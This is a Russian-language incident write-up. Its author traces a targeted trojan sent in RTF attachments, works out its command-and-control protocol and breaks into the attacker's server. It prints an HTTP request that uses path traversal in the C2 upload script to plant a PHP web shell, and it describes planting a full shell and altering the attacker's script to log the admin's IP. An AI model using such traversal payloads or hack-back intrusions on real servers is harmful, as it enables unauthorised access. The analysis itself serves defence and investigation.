Лучшая защита — это атака: противодействие промышленному шпионажу

В данной статье автор поделится своим опытом исследования троянов, написанных и заточенных для атаки на конкретную компанию. Будет раскрыт механизм получения доступа к командному центру вируса через уязвимость в протоколе взаимодействия вируса и командного центра. А также показано какую информацию о злоумышленнике можно собрать, получив доступ к командному центру.

Сценарий развития событий

В начале 2011 года одна телекоммуникационная компания (название которой не буду раскрывать) стала целью промышленного шпионажа. Примерно на 20 email адресов сотрудников компании были посланы *.rtf файлы, эксплуатирующие уязвимость в MS Word (CVE-2010-3333).

Эксплоит сработал на 5 компьютерах. Все WinXP. Несмотря на то факт, что уязвимость затрагивала продукты MS Word в т.ч. и для ОС Windows Vista, Windows 7, сам троян не устанавливался в эти системы. Он был системозависимый, устанавливал драйвер. А в Win Vista, 7 для этих целей требуется повышение привилегий. Ни присланные файлы *.rtf, ни сам вирус не определялись свежими антивирусами, которые были установлены на рабочих компьютерах пользователей компании. Тревогу забили только тогда, когда внимательный пользователь и счастливый владелец KIS 2011 обнаружил неладное. При открытии документа через некоторое время от проактивной защиты поступил запрос на подтверждение запуска новой программы update.exe, которая желает выполниться. Тем же днём в антивирусные компании были отправлены подозрительные rtf-файлы. В течение недели из 6 антивирусных лабораторий только 3 добавили в базы семпл эксплоита.

Рис №1: результат сканирования первого файла с эксплоитом через месяц после отправки в антивирусные лаборатории

Файлы вируса (нагрузку эксплоита) в базы не добавила ни одна лаборатория. В компании были приняты срочные меры по обновлению антивирусов и установке патчей на офисные приложения. Через 2 недели атака повторилась. Эксплоит тот же, но не детектируется антивирусами (модифицирован), рис №2. Нагрузка (вирус) не изменилась.

Рис №2: результат сканирования второго файла с эксплоитом через месяц после получения (данный файл в антивирусные лаборатории не отправлялся на этот момент)

Обновлённые антивирусы ничем не помогли. Мотивы таких поступков со стороны антивирусных компаний, ровно как и попытки выяснить каким всё же антивирусом стоит пользоваться оставим за бортом этой темы.

Спустя некоторое время после первой волны атаки (где-то через 2-3 дня) в этой истории появился я. Мне было поручено провести исследования, выяснить какие файлы собираются на системе, куда отправляются.

Экспресс-анализ вируса

Экспресс-анализ вируса показал мало чего интересного. Сам исполняемый файл был упакован неизвестным упаковщиком (возможно, написанным теми же вирусописателями). Но, при запуске происходила установка в систему распакованных файлов. Эти файлы уже ничем не были сжаты. Поэтому, ничто не мешало загрузить их в IDA, получить и проанализировать псевдокод.

Рис №3: часть псевдокода, полученного из файла вируса (IDA)

По этому псевдокоду можно было заключить: троянец получал листинги директорий, с которыми работал пользователь, отправлял их командному центру и ждал указаний. Среди возможностей было получение исполняемого файла от командного центра и его выполнение. Также была реализована примитивная защита от анализа: определялось наличие работы в среде vmware и последующее завершение работы трояна. Поэтому я использовал Oracle VirtualBox. Троянец искал в памяти процесс iexplorer, инжектировал в него свой код и, таким образом, передавал данные на сервер. Сам факт инжектирования в процесс iexplorer антивирусами на тот момент не определялся. Запустив виртуальную машину с WinXP я запустил ещё и Internet Explorer, настроил Wirweshark на перехват трафика и стал дожидаться общения трояна c его командным центром.

Вирмейкеры тоже ошибаются

За сутки наблюдений никаких новых файлов на тестовой машине не обнаружилось. Зато удалось понять вполне нехитрый протокол общения трояна с командным центром.

рис №4: перехват трафика между вирусом и его командным центром

Т.е. с инфицированного компьютера файлы передавались скрипту вот таким образом:

bot_id=2376589&file_name=имя_файла&content=содержимое_файла

Что ж, почему бы не поэкспериментировать со скриптом? Скрипт принимает файлы и сохраняет их на сервере. Почему тогда не воспользоваться этим и не залить web-shell? Попробуем послать запрос с такими переменными:

file_name is: "../../../../shell.php"
content is: "<рhp рhpinfo()?>"
bot_id is: "2376589"

Итоговый запрос будет выглядеть так:

POST /grab/get.php HTTP/1.1
Host: *****.com
User-Agent: Opera 10.02
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

bot_id=2376589&file_name=..%2F..%2F..%2F..%2Fshell.php&content=%3C%3Fphp+phpinfo%28%29%3F%3E

И вот какой ответ сервера мы получаем:

HTTP/1.1 200 OK Date: Thu, 26 Feb 2011 10:58:46 GMT Server: Apache
Content-Length: 291
Content-Type: text/html
Warning: fopen(2376589/../../../../shell.php) [function.fopen]: failed to open stream:
Permission denied in /srv/disk5/754386/www/*****.com/grab/get.php on line 573
Wrong file name

Сообщается о невозможности сохранения файла на сервере по такому пути. Отлично! Как раз то, что мы искали. Локальный путь на сервере к скрипту виден. Теперь ясно как модифицировать запрос и залить web-shell. Делаем это и вуаля. Запрос прошёл нормально, осталось только обратиться к залитому скрипту и получить долгожданный вывод php info.

Залили shell, а дальше...

После заливки концептуального шелла залили шелл боевой. Наша дальнейшая логика работы.

1. Скачиваем содержимое web-директории к себе для дальнейшего анализа.
   
• Иногда зашифрованные данные от вируса расшифровываются скриптом и хранятся на сервере в открытом виде.
2. Ищем логи web-сервера, скачиваем себе (поможет понять логику работы скрипта + IP злоумышленника и других заражённых компьютеров).
3. Разобрав логику скрипта, модифицируем его: добавляем дамп в файл информации о злоумышленнике там, где идёт работа с командами от него.

В самих скриптах можно найти информацию о злоумышленнике: комментарии в скриптах.

В ходе анализа скачанных с командного центра данных стало ясно, что всего 8 компьютеров на тот момент выходили на связь (рис №5).

Рис №5: список инфицированных машин, данные файла access.log

У нас же была информация о 5 компьютерах. Оставшиеся 3 компьютера были найдены чуть позже: это оказались домашние компьютеры работников организации. Дополнительные данные были получены по файлу logs.txt (который, кстати, был доступен из интернета, нужно было только путь знать). В этот файл в открытом виде записывалась информация о заражённых компьютерах: IP, имя компьютера, последний выход на связь. Полученные с заражённых компьютеров файлы расшифровывались скриптом. Из них стало ясно какие данные утекли.

Из логов web-сервера можно было сделать вывод о том с каких IP-адресов заходил админ командного центра (рис №6). Но, на всякий случай, покопавшись в скрипте и найдя код, который отрабатывал для админа, мы его модифицировали, добавив сохранение данных о нём: сохраняли данные о его IP, User-Agent. Админ обратился к модифицированному скрипту. Полученная информация совпала с предварительной, из анализа логов web-сервера.

Рис №6: данные злоумышленника, файл access.log

Что может помешать анализу скриптов

Бывает так, что злоумышленники пытаются помешать анализу скриптов. Применяют обфускацию: изменяют названия функций и переменных в скрипте с целью усложнения восприятия кода. Или даже применяют кодирование. Или добавление мусорного (лишнего, не работающего) кода. Решение проблемы: восстановление логики работы скрипта используя трафик вируса и вставки своих отладочных функций (echo «1» и т. д.). Для этого поднимаем web-сервер на своей стороне, и перенаправляем трафик вируса от истинного командного центра на контролируемый нами web-сервер (рис №7). Например, можно модифицировать файл hosts (самый простой способ).

Рис №7: перенаправление трафика вируса с реального командного центра на контролируемый компьютер

Этот подход работоспособен в случаях, когда вирус пытается обратиться к командному центру по его доменному имени. В случае, когда вирус обращается к командному центру по IP без предварительного резолва доменного имени, придётся возиться с сетевыми маршрутами (либо на самой машине с вирусом, либо на активном оборудовании в сети вроде маршрутизаторов). Участки кода, которые закодированы, успешно раскодируются обратной функцией. Современные обфускаторы скриптов не представляют проблемы в рамках исследования, т.к. предназначены для защиты скриптов от плагиата, а не для предотвращения анализа.

Вывод

Когда инцидент уже случился, реверс инжениринг вируса может потребовать многих усилий и дать мало информации относительно того какие данные утекли и кто за этими данными охотился. В ряде случаев, проявив немного сообразительности, можно найти более лёгкий путь решения этих проблем. Вирусописатели – тоже люди, они тоже ошибаются. И данная история — прямое тому доказательство.